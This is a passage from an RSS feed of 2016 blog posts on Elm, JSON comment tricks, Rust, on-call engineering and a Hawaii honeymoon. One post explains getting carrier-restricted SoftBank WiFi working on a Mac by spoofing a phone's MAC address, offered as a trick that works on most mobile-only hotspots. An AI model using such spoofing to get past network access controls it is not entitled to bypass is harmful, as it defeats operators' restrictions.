  &lt;li&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;@word.map do { |c| c[0] }&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;&amp;lt;%= variable_name_here %&amp;gt;&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;index[0][1]&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;/\A*regex(.|,)\z/i&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;hashes = { curley_braces_everywhere }&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Best of luck to you!&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Sun, 11 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/typing-for-programmers</guid></item><item><title>2016-12-11/01</title><link>https://ho.dges.online/pictures/2016-12-11-01/</link><description/><author>ho.dges.online</author><pubDate>Sun, 11 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-12-11-01/</guid></item><item><title>2016-12-11/02</title><link>https://ho.dges.online/pictures/2016-12-11-02/</link><description/><author>ho.dges.online</author><pubDate>Sun, 11 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-12-11-02/</guid></item><item><title>2016-12-11/03</title><link>https://ho.dges.online/pictures/2016-12-11-03/</link><description/><author>ho.dges.online</author><pubDate>Sun, 11 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-12-11-03/</guid></item><item><title>Learning elm</title><link>https://peterlyons.com/problog/2016/12/learning-elm/</link><description>&lt;h2 id="a-report-from-the-weeds"&gt;A Report from the weeds&lt;/h2&gt;
&lt;p&gt;So I've been trying to learn &lt;a href="http://elm-lang.org/"&gt;The Elm Programming Language&lt;/a&gt;, which is a language/architecture for building browser applications. The core ideas have been adopted into react and redux and I consider Elm to be taking the ideas deeper than you can do while still in JavaScript. So elm actually gives you a totally new programming language supporting static types, pure functional programming, and immutability in a high-integrity way.&lt;/p&gt;
&lt;p&gt;Why am I bothering? Well, work-wise I've been floating around with abandoning the label of "full-stack developer" and "niching down" as we say in the consulting game to a purely back-end focused consultant. I think the state of browser development now is quite terrible and rapidly getting worse. So learning elm isn't necessarily about doing real apps in it. It's mostly for the experience of learning a program language with static types, immutability, and pure functions.&lt;/p&gt;
&lt;p&gt;This post is not a hindsight, well-thought-out summary. I'm actively in the weeds porting an app from Angular 1.x to Elm. This is a snapshot of what I've seen so far. I don't know all of Elm yet, not even half way there. I wanted to write while things are still confusing and chaotic to create an honest snapshot.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;compiler messages&lt;/strong&gt;: Elm has a reputation about friendly/good compiler error messages. This plays out to be mostly true. However, I mostly still can't read them because the available docs so far that I've seen don't really teach the language as a language. It's all examples and "type this here" without giving me words and concepts for the syntax. So while the error messages are helpful, I still have to basically keyword scan them and guess what the problem might be.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;examples&lt;/strong&gt;: I also read that the elm examples are great. I found them to be almost laughably basic and non-comprehensive. In elm, it turns out that doing an HTTP GET and doing an HTTP POST require significantly different code, but the example only shows you a basic GET and that's not enough to cover the gaps between GET and POST in terms of encoding bodies, interpretting responses, decoding, etc. This was really frustrating several times. Need to decode a simple flat JSON object? Here's a clear example right in the docs. Got an JSON object containing a child object or a list, as you would in any real-world application? Not mentioned at all in the docs, have to ask in slack/FAQ and it turns out to be much more complicated. When dealing with HTML events, the docs mention there are &lt;code&gt;stopPropagation&lt;/code&gt; and &lt;code&gt;preventDefault&lt;/code&gt; things, but nothing about how to use them.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;if it compiles, it works&lt;/strong&gt;: This is a claim you often see about elm as well as Haskell. I want to state for the record that in my small number of hours programming elm, I have already managed to make at least 2 programs that compiled and ran with incorrect behavior. This did not manifest as runtime exceptions, but the program was wrong nonetheless. In one case I had done a refactoring to split my app up into modules and I ended up with 2 things both named &lt;code&gt;model&lt;/code&gt;, one of which was just returning static initial data. Both worked as used, but one was totally wrong. Another time I was trying to decode a string enum (think names of playing card suits like "diamonds", "hearts", "spades", "clubs") to elm types. I had a version that compiled and ran but because I was doing decoding wrong, it was always hitting my default "unrecognized value" pattern match and using the default. My success pattern matches would never have matched. Only found it when the app was misbehaving.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;syntax&lt;/strong&gt;: Elm's syntax is I think mostly OK. I'm not used to the comma-first thing &lt;code&gt;elm-format&lt;/code&gt; does and at the moment it fails to provide clean git diffs and defeats sorting properties, which I like to do. So if I had to make a call now, I'd say it's terrible but I'm keeping an open mind until I have more hours in the trenches. I'm also not sure why the function name must be repeated above the type annotation. Seems totally unnecessary. I don't like the ambiguity between calling a function and referencing a variable in scope. This has annoyed me in ruby as well. I prefer these 2 things to have different syntax. It's also weird that if you declare a function with no arguments, it's not a function, it's just a value. Same syntax, but declare at least 1 argument and you get a function. I understand why this is possible and that a function without arguments does not make sense in a side-effect-free language, but still I find the lack of syntax distinction unclear and confusing to read.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;docs&lt;/strong&gt;: The core language/library docs are coded in way that all of the current module's functions are directly in scope so they are bare references like &lt;code&gt;decodeString&lt;/code&gt; or even just &lt;code&gt;int&lt;/code&gt; which is actually &lt;code&gt;Json.Decode.int&lt;/code&gt;. This is completely baffling to me as a beginner. I can't go into the &lt;code&gt;elm-repl&lt;/code&gt; and type what I see. They are not written the way you would write them in an application using the module. You can't copy/paste them and most of the time you are confused about which module each name belongs to. I also now realize that almost without exception the core docs examples use ONLY functions from the module at hand. They aren't real-world use cases combining modules to do something useful. They are super-isolated 1-liners. The JSON docs make no mention of how to decode dates. I had to go find a community module.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;order of constructor params&lt;/strong&gt;: After banging my head against a compiler error message, I eventually figured out that when you define a type, the order that you declare the named fields matters. When you construct that type, you must pass things in that order, even though the fields have names. This came as a total shock to me. So for example:&lt;/p&gt;
&lt;pre class="language-elm "&gt;&lt;code class="language-elm"&gt;-- given this type alias
type alias Entry =
    { id : Int
    , body : String
    , tags : List String
    , created : Date
    }

-- If I want to decode from JSON,
-- which I do in a different file

entriesDecoder : JD.Decoder (List Entry)
entriesDecoder =
    JD.list
        (JD.map4 Entry
            (JD.field &amp;quot;id&amp;quot; JD.int)
            (JD.field &amp;quot;body&amp;quot; JD.string)
            (JD.field &amp;quot;tags&amp;quot; (JD.list JD.string))
            (JD.field &amp;quot;created&amp;quot; Json.Decode.Extra.date)
        )

-- The order of the fields: id, body, tags, created must exactly match!
-- I was staring at compiler error messages for a long time
-- It is actually mentioned in the docs, but it didn&amp;#x27;t click with me
-- exactly what the docs meant
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;BDFL issues?&lt;/strong&gt;: I'm not deep enough in it to really comment here, but talking with friends it seems like the community enthusiasm is outpacing evancz's ability to review and accept PRs, even just people expanding the documentation. At the moment there's a &lt;a href="https://github.com/elm-lang/elm-lang.org/pull/597"&gt;1-line doc add PR&lt;/a&gt; that's been open for 6 months. I'm still keeping hope alive that time will sort this out, but at the moment I'm worried things are not in a good state in terms of community in the actual codebases. The slack channel though is very active and helpful.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Anyway I'm still charging forward with both my Angular to Elm side project port and reading the early access "Elm in Action" book as it comes out. More posts on this topic as things progress.&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Sun, 11 Dec 2016 00:19:10 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2016/12/learning-elm/</guid></item><item><title>JSON comment tricks</title><link>https://peterlyons.com/problog/2016/12/json-comment-tricks/</link><description>&lt;p&gt;So as you have probably learnt and been frustrated by, JSON does not officially support comments. This, as I understand it, was done intentionally by JSON's creator Douglas Crockford to prevent abuse of comments for non-standard metadata. Be that as it may, and it may make sense for a data interchange format, JSON is used for configuration files commonly and the lack of comments can be frustrating. Here's some hacky tricks I sometimes use.&lt;/p&gt;
&lt;h2 id="disable-keys-with-a-prefix"&gt;Disable keys with a prefix&lt;/h2&gt;
&lt;p&gt;Let's say I need to quickly switch a config file between a version with and without a certain value:&lt;/p&gt;
&lt;pre class="language-json "&gt;&lt;code class="language-json"&gt;{&amp;quot;proxy&amp;quot;: &amp;quot;http:&amp;#x2f;&amp;#x2f;proxy.example.com:8765&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To disable it, I "comment it out" by changing the name of  the property.&lt;/p&gt;
&lt;pre class="language-json "&gt;&lt;code class="language-json"&gt;{&amp;quot;OFFproxy&amp;quot;: &amp;quot;http:&amp;#x2f;&amp;#x2f;proxy.example.com:8765&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Usually this has the desired effect and no ill side effects. I can imagine there are strict cases where it won't work, but mostly it's effective.&lt;/p&gt;
&lt;h2 id="add-comments-above"&gt;Add comments above&lt;/h2&gt;
&lt;p&gt;Here's how I add "comments"&lt;/p&gt;
&lt;pre class="language-json "&gt;&lt;code class="language-json"&gt;{
  &amp;quot;&amp;#x2f;&amp;#x2f; Use this when in the Narnia office&amp;quot;: 0,
  &amp;quot;OFFproxy&amp;quot;: &amp;quot;http:&amp;#x2f;&amp;#x2f;proxy-na.example.com:8765&amp;quot;,
  &amp;quot;&amp;#x2f;&amp;#x2f; Use this when in the Whoville office&amp;quot;: 0,
  &amp;quot;proxy&amp;quot;: &amp;quot;http:&amp;#x2f;&amp;#x2f;proxy-wv.example.com:8765&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I just start a key with "//" and set the value to zero. Usually works OK.&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Sat, 10 Dec 2016 23:18:24 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2016/12/json-comment-tricks/</guid></item><item><title>Enforcing drop order in Rust</title><link>https://ochagavia.nl/blog/enforcing-drop-order-in-rust/</link><description>Some days ago I stumbled upon an old issue on Rust&amp;rsquo;s GitHub repository. While the title of the issue is &amp;ldquo;should struct fields and array elements be dropped in reverse declaration order (a la C++)&amp;rdquo;, the discussion also extends to whether the current drop order should be stabilized.
Surprising as it may seem, drop order in Rust is unspecified and could theoretically be changed in the future. However, there are use cases that require enforcing a given drop order (see, for instance, this SO question).</description><author>Consulting on Adolfo Ochagavía</author><pubDate>Sat, 10 Dec 2016 15:14:51 GMT</pubDate><guid isPermaLink="true">https://ochagavia.nl/blog/enforcing-drop-order-in-rust/</guid></item><item><title>2016-12-10</title><link>https://ho.dges.online/pictures/2016-12-10/</link><description/><author>ho.dges.online</author><pubDate>Sat, 10 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-12-10/</guid></item><item><title>Slow placement group read operations in Ceph</title><link>https://makedist.com/posts/2016/12/10/slow-placement-group-read-operations-in-ceph/</link><description>An unsolved mystery involving slow reads and Ceph placement groups.</description><author>Noah Watkins</author><pubDate>Sat, 10 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://makedist.com/posts/2016/12/10/slow-placement-group-read-operations-in-ceph/</guid></item><item><title>La La Land</title><link>https://olshansky.info/movie/la_la_land/</link><description>Olshansky's review of La La Land</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 10 Dec 2016 01:54:17 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/la_la_land/</guid></item><item><title>Hell or High Water</title><link>https://olshansky.info/movie/hell_or_high_water/</link><description>Olshansky's review of Hell or High Water</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 09 Dec 2016 15:24:42 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/hell_or_high_water/</guid></item><item><title>Spider-Man: Homecoming</title><link>https://olshansky.info/movie/spider-man_homecoming/</link><description>Olshansky's review of Spider-Man: Homecoming</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 09 Dec 2016 04:07:26 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/spider-man_homecoming/</guid></item><item><title>Client Success vs. Customer Success</title><link>https://solomon.io/client-success-vs-customer-success/</link><description>How do people talk about the profession? Do more people refer to it as client success or customer success? What is the correct post-sales nomenclature?</description><author>Sam Solomon</author><pubDate>Fri, 09 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/client-success-vs-customer-success/</guid></item><item><title>How to manually package an Electron app for Windows</title><link>https://www.jviotti.com/2016/12/09/how-to-manually-package-an-electron-app-for-windows.html</link><description>This article describes how to package an Electron application for Windows without additional tooling</description><author>Juan Cruz Viotti</author><pubDate>Fri, 09 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.jviotti.com/2016/12/09/how-to-manually-package-an-electron-app-for-windows.html</guid></item><item><title>Getting SoftBank WiFi hotspots working on Mac</title><link>https://david.coffee/getting-softbank-wifi-hotspots-working-on-mac/</link><description>&lt;p&gt;&lt;em&gt;This was originally posted &lt;a href="https:/..com/@davidmohl/getting-softbank-wifi-hotspots-working-on-mac-b1f31a73cf37"&gt;on my medium&lt;/a&gt; but has been backported into this blog.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Here in Japan, every phone provider gives you access to their WiFi Hotspots when you sign up. They are great! They cover areas where your LTE might get a bit wonky and make sure you’re not eating all of your data right away.&lt;/p&gt;
&lt;p&gt;Sadly though if you’ve ever been to Tokyo, the free WiFi spots that are available here (be it in Starbucks or other cafes) are… just not very good. Most of them are powered by &lt;a href="http://wi2.co.jp/jp/"&gt;Wi2&lt;/a&gt; and while not necessarily bad, I never saw this many disconnects with any other provider. You constantly have to re-connect to the hotspot because all of a sudden everything stops working. Most of the time when you’re in the middle of something very important like browsing cat pictures or finishing that last 1% of a download.&lt;/p&gt;
&lt;p&gt;Wi2 also offers a dirt-cheap WiFi plan that costs 400 yen ($4) a month and has pretty good coverage given what you pay for it. It’s my go-to recommendation when someone asks me which service to use, though it suffers from the same problems mentioned above.&lt;/p&gt;
&lt;p&gt;Alternatives are the docomo tourist WiFi or some other services that charge you per hour, but &lt;strong&gt;why do I have to pay more when I already pay for my phone contract which includes SoftBank WiFi?&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id="testing-waters"&gt;Testing waters&lt;/h4&gt;
&lt;p&gt;Just connecting to SoftBank WiFi on my Mac is giving me a error message. Who would have expected that.&lt;/p&gt;
&lt;p&gt;
&lt;img alt="" class="img-fluid" src="./1_err.jpeg" /&gt;

&lt;/p&gt;
&lt;p&gt;“Aha!” he thought, “they are just filtering by User Agent!”. Open is the developer menu in Safari and the User Agent switched to SoftBank and sure enough, the message changed! Now telling me to go to “sbwifi.jp”. Though when trying to navigate it…&lt;/p&gt;
&lt;p&gt;
&lt;img alt="" class="img-fluid" src="./1__F3__kBZta6__z1eeYMbcRvdA.png" /&gt;

&lt;/p&gt;
&lt;p&gt;didn’t work.&lt;/p&gt;
&lt;p&gt;When connecting with my phone to the same WiFi hotspot, it immediately authenticated me without asking for any details. So maybe it’s using the Mac address?&lt;/p&gt;
&lt;p&gt;I authenticated on the WiFi hotspot, copied the Mac address to my Mac, spoofed it and disconnected my phone at roughly the same moment as my Mac starts connecting.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo ifconfig eth0 hw ether 00:01:02:03:04:05
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This little trick usually gets most of the WiFi hotspots that are mobile only restricted. The phone disconnects and the Mac re-connects with the same hardware identifier the phone used. The WiFi spot thinks the phone just re-connected and all is good.&lt;/p&gt;
&lt;p&gt;But on this one… it didn’t work. Hrrmm!&lt;/p&gt;
&lt;p&gt;Something else is needed and I’m not ready yet to give up!&lt;/p&gt;
&lt;p&gt;
&lt;img alt="" class="img-fluid" src="./1__qkvVja6b8U5Av__qBY1RvOw.jpeg" /&gt;

&lt;/p&gt;
&lt;h4 id="digging-deeper"&gt;Digging deeper&lt;/h4&gt;
&lt;p&gt;So, a naive filtering to show the login page happens based on User-Agent. My phone is directly authenticated. So it’s probably some sort of certificate for authentication.&lt;/p&gt;
&lt;p&gt;There is an iOS app which does authentication for you, but it only works from iOS 9 up. There must be another way.&lt;/p&gt;
&lt;p&gt;On my phone, I manually navigated to sbwifi.jp, clicked the blue button and yup, I receive a SMS with a link I should click on.&lt;/p&gt;
&lt;p&gt;
&lt;img alt="" class="img-fluid" src="./1__qKDdqLjTTA807aBnMvK3QA.png" /&gt;

&lt;/p&gt;
&lt;p&gt;Clicking the link and, sure enough, it downloads a certificate file to install on my iPhone!&lt;/p&gt;
&lt;p&gt;All I have to do is get this certificate on my Mac and I should be good. I copied the link to my Mac and…! Nothing. The link only works out of the SoftBank network and not through WiFi. Dang it.&lt;/p&gt;
&lt;h4 id="the-lastmile"&gt;The last mile&lt;/h4&gt;
&lt;p&gt;What we got so far:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;SoftBank uses UA to show you the correct login page&lt;/li&gt;
&lt;li&gt;Not authenticated users get a “please go to sbwifi.jp” page&lt;/li&gt;
&lt;li&gt;sbwifi.jp only works out of the SoftBank LTE/3G network and sends a link to a profile through SMS to the users phone&lt;/li&gt;
&lt;li&gt;The link to the profile, again, only works out of the SoftBank LTE/3G network&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So how do I get the profile on my Mac? The iPhone doesn’t let me download and share it through email and my Mac can’t download it. Just doesn’t work.&lt;/p&gt;
&lt;p&gt;Luckily though, nowadays we can just enter the SoftBank network on our Mac! How? Through our phone of course!&lt;/p&gt;
&lt;p&gt;To enable tethering on SoftBank iPhones you have to ‘purchase’ the tethering option through &lt;a href="http://my.softbank.jp"&gt;my.softbank.jp&lt;/a&gt;. Currently though that’s free for 2 years, so just enable it, wait a little bit and the “Personal Hotspot” option pops up in the settings.&lt;/p&gt;
&lt;p&gt;
&lt;img alt="" class="img-fluid" src="./1__WIP__dU6dVu8YxVWLah6LJw.png" /&gt;

&lt;/p&gt;
&lt;p&gt;Creating a hotspot… connecting to it… and….&lt;/p&gt;
&lt;p&gt;
&lt;img alt="" class="img-fluid" src="./1__TztlUjmIz2fk3PfBGA7x4w.png" /&gt;

&lt;/p&gt;
&lt;p&gt;Let’s try it again. UA switched to ‘iPhone’, navigating to sbwifi.jp, clicking the button and… yup there it is, the SMS to the profile. Copied to the Mac, clicked on it&lt;/p&gt;
&lt;p&gt;
&lt;img alt="" class="img-fluid" src="./1__2UwDS6KaQca5hnQjMJNfzg.png" /&gt;

&lt;/p&gt;
&lt;p&gt;jackpot.&lt;/p&gt;
&lt;p&gt;Luckily macOS is compatible with iPhone configuration profiles out of the box so we can go ahead and natively install it without any issues.&lt;/p&gt;
&lt;p&gt;
&lt;img alt="" class="img-fluid" src="./1__yr__YSchiNrRKvciUzd22jg.png" /&gt;

&lt;/p&gt;
&lt;p&gt;Now all we have to do is disconnect from our iPhone, make sure the iPhone doesn’t automatically connect to SoftBank Wifi at the same time, connect to 0001softbank and tada! We have blazing fast internet :)&lt;/p&gt;
&lt;p&gt;
&lt;img alt="" class="img-fluid" src="./1__6__2qC__EnNt__EUrXjimDr4A.gif" /&gt;

&lt;/p&gt;</description><author>David Mohl</author><pubDate>Thu, 08 Dec 2016 03:59:00 GMT</pubDate><guid isPermaLink="true">https://david.coffee/getting-softbank-wifi-hotspots-working-on-mac/</guid></item><item><title>Thoughts 2</title><link>https://blog.separateconcerns.com/2016-12-07-thoughts-2.html</link><description>&lt;section id="On-Call"&gt;
&lt;h2&gt;On Call&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://twitter.com/alicegoldfuss"&gt;Alice Goldfuss&lt;/a&gt; started
&lt;a href="https://blog.dbsmasher.com/2016/12/07/on-being-on-call.html"&gt;a debate&lt;/a&gt; about having
developers on call. I am firmly in the camp of those who think it is a good
thing, probably because I was a sysadmin before being a software engineer.
But this means those developers must have the power to refuse to ship broken
code that may make the pager go off as well.&lt;/p&gt;
&lt;p&gt;In fact, it is all about fostering the sense of ownership, which is the N.1
trait I look for in developers. And this won’t be the first time I have
&lt;a href="https://twitter.com/pchapuis/status/222690433308966913"&gt;quoted great people&lt;/a&gt;
&lt;a href="https://blog.separateconcerns.com/2013-03-24-vogels-skills.html"&gt;saying similar things&lt;/a&gt;!&lt;/p&gt;
&lt;/section&gt;
&lt;section id="The-value-of-metrics"&gt;
&lt;h2&gt;The value of metrics&lt;/h2&gt;
&lt;p&gt;Here is something people who haven’t worked in B2B software companies may not
understand: sometimes knowing your product’s metrics, how its users behave and
the market it is operating in can be more valuable than the product itself.
Small B2B2C software vendors often end up knowing things about their (huge)
customers’ clients that the customers themselves don’t.&lt;/p&gt;
&lt;p&gt;What that means is: if you provide third-party software to your users, ask the
third-party vendor what data points they collect, what they can do with them,
and if they can feed them back to you. And if you are the third-party vendor,
consider the value of that data, and maybe find clever ways to turn it into a
competitive advantage.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Why-did-the-robot-do-that"&gt;
&lt;h2&gt;Why did the robot do that?&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://insights.sei.cmu.edu/sei_blog/2016/12/why-did-the-robot-do-that.html"&gt;Explaining why AI makes decisions&lt;/a&gt;
is going to be very important in the years to come. Trusting algorithms is
hard for humans. This slows down adoption and progress the most in areas that
&lt;a href="https://twitter.com/CalebWatney/status/747772853102084097"&gt;really&lt;/a&gt;
&lt;a href="https://blog.separateconcerns.com/2015-11-06-e-voting.html"&gt;matter&lt;/a&gt;. So we
need a way to let concerned people “feel” why machines do things the way they
do it. Because writing papers is nice, but we all know simply telling people to
trust experts is never going to work. This means those topics are now
&lt;a href="https://blog.separateconcerns.com/2016-09-16-thoughts-1.html#distributed-systems-are-a-ux-problem"&gt;also UX problems&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Can't-you-just"&gt;
&lt;h2&gt;Can’t you just…?&lt;/h2&gt;
&lt;p&gt;Someone made a nice web page to answer a question we hear pretty often. :)&lt;/p&gt;
&lt;p&gt;EDIT: That was about &lt;code&gt;cantyoujust.no&lt;/code&gt; which does not exist anymore.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Applications-and-Data"&gt;
&lt;h2&gt;Applications and Data&lt;/h2&gt;
&lt;p&gt;Here is something I have been believing in for a long time: there is no good
technical reason why most Web-based application vendors force you to store
your data on &lt;strong&gt;their&lt;/strong&gt; servers. It should be possible to use, say, a presentation
application from Google to edit slides stored on Microsoft’s servers.&lt;/p&gt;
&lt;p&gt;Sadly, for reasons that probably have a lot to do with business models,
things like
&lt;a href="https://unhosted.org/adventures/7/Adding-remote-storage-to-unhosted-web-apps.html"&gt;remoteStorage&lt;/a&gt;
did not really take off. But I hope someone will revisit that idea someday,
and find a way to make it take off.&lt;/p&gt;
&lt;/section&gt;</description><author>Separate Concerns</author><pubDate>Thu, 08 Dec 2016 00:35:00 GMT</pubDate><guid isPermaLink="true">https://blog.separateconcerns.com/2016-12-07-thoughts-2.html</guid></item><item><title>Send/Recv in mgmt</title><link>https://purpleidea.com/blog/2016/12/07/sendrecv-in-mgmt/</link><description>&lt;p&gt;I previously published &amp;ldquo;&lt;a href="https://purpleidea.com/blog/2016/11/30/a-revisionist-history-of-configuration-management/"&gt;A revisionist history of configuration management&lt;/a&gt;&amp;rdquo;. I meant for that to be the intro to this article, but it ended up being long enough that it deserved a separate post. I &lt;em&gt;will&lt;/em&gt; explain Send/Recv in this article, but first a few clarifications to the aforementioned article.&lt;/p&gt;
&lt;p&gt;&lt;span style="text-decoration: underline;"&gt;Clarifications&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;I mentioned that my &amp;ldquo;revisionist history&amp;rdquo; was inaccurate, but I failed to mention that it was also not exhaustive! Many things were left out either because they were proprietary, niche, not well-known, of obscure design or simply for brevity. My apologies if you were involved with Bcfg2, Bosh, Heat, Military specifications, SaltStack, SmartFrog, or something else entirely. I&amp;rsquo;d love it if someone else wrote an &amp;ldquo;exhaustive history&amp;rdquo;, but I don&amp;rsquo;t think that&amp;rsquo;s possible.&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Wed, 07 Dec 2016 09:00:20 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2016/12/07/sendrecv-in-mgmt/</guid></item><item><title>Honeymoon in Hawaii</title><link>https://blog.andyglassman.com/2011/11/honeymoon-in-hawaii.html</link><description>Well, I'm back from my honeymoon in Hawaii. &amp;nbsp;This was the first vacation that Amanda and I have taken as just the two of us, so it was a lot of fun to get away from it all! &lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
We left Wisconsin on Thrusday 10/27. &amp;nbsp;Waking up at 4am was&amp;nbsp;definitely&amp;nbsp;a treat, especially after the 2$ High Lifes that we had at Chuck's the previous night. (it's vacation, don't judge). Our flight out went relatively smooth considering we sat on the tarmac for 30 minutes and the flight data recorded refused to work. &amp;nbsp;After switching to a new plane, and getting rerouted directly to Honolulu rather than Salt Lake, we were on our way. &amp;nbsp;Loosing the hour due to plane issues was made up in our direct flight. &amp;nbsp;That being said, it is a LONG flight, around 8 hours. &amp;nbsp;Luckily there were some movies and shows to watch (Captain America and some HIMYM, not bad). &amp;nbsp;Of course, this was all going too smoothly for the airline's taste, so they decided to loose our luggage for a day.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Finally we arrived in Honolulu, HI. &amp;nbsp;It was a surreal arrival. &amp;nbsp;The weather was ideal, 75 and sunny. &amp;nbsp;How could I tell this from inside the airport? &amp;nbsp;Well oddly enough, the airports in Hawaii are half indoor and half outdoor. &amp;nbsp;This is ideal... well unless it is a severe downpour with frequent lightning strikes but we'll save that story for our return flight...&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
After a short flight from Honolulu to Kaliua Kona, we had arrived at our destination. &amp;nbsp;After picking up the Jeep Wrangler 4x4, we headed to Kona Coast resort. &amp;nbsp;We got our keys, checked into our room, and went to bed at 7pm (12+ hours of travel will turn you into a zombie, not to mention the 4 hour time difference!). &amp;nbsp;The next week was full of great sights and food. &amp;nbsp;I'll try to squeeze in the highlights!&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Before I start, I'd like to thank Andrew Doughty, and Wizard Publications for publishing&amp;nbsp;&lt;i&gt;&lt;a href="http://amzn.to/2h40vHp" rel="nofollow" target="_blank"&gt;The Big Island Revealed&lt;/a&gt;&lt;/i&gt;. &amp;nbsp;We followed the book's&amp;nbsp;recommendations&amp;nbsp;for what to see, eat, and where to stay. At no point were we let down!&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Makalawena:&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMeILedSbsy6d6t3Fh3mOIPY2RPRlMTdD-O-rjdn740xZOJVjUn5c-jSY8CUrRKBOYAPdWzaGI6GEjfZe_7uKk_IvLUlmXD0PTGI8A5o3-1YhG1NHO_4AAHILoUNpTEww-PPVatXsK7Q/s1600/maks1.png" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMeILedSbsy6d6t3Fh3mOIPY2RPRlMTdD-O-rjdn740xZOJVjUn5c-jSY8CUrRKBOYAPdWzaGI6GEjfZe_7uKk_IvLUlmXD0PTGI8A5o3-1YhG1NHO_4AAHILoUNpTEww-PPVatXsK7Q/s320/maks1.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
This was one of our first&amp;nbsp;excursions&amp;nbsp;of the trip. &amp;nbsp;This is a beautiful secluded beach just north of Kona. &amp;nbsp;It took us about 20 minutes to make it down the very rough 4x4 trail to the beach. &amp;nbsp;As Amanda put it, "It was like being in a car crash for 20 minutes!". &amp;nbsp;We did some snorkeling here, and saw some very colorful fish and coral. &amp;nbsp;The sand was white, soft, and abundant! &amp;nbsp;On our way onto the beach, we saw a big sea turtle sunning&amp;nbsp;itself. &amp;nbsp;At the time we thought it was pretty big, until we saw the second giant one! &amp;nbsp;This thing had to be almost 2.5-3 feet in length and at least 2 feet across! &amp;nbsp;Amanda tried to get on the other side of it to be in a picture without getting too close. &amp;nbsp;The turtle evaluated the situation. &amp;nbsp;We must have looked hungry for turtle soup because it looked us both, then turned right around and back into the ocean.&lt;/div&gt;
&lt;table cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
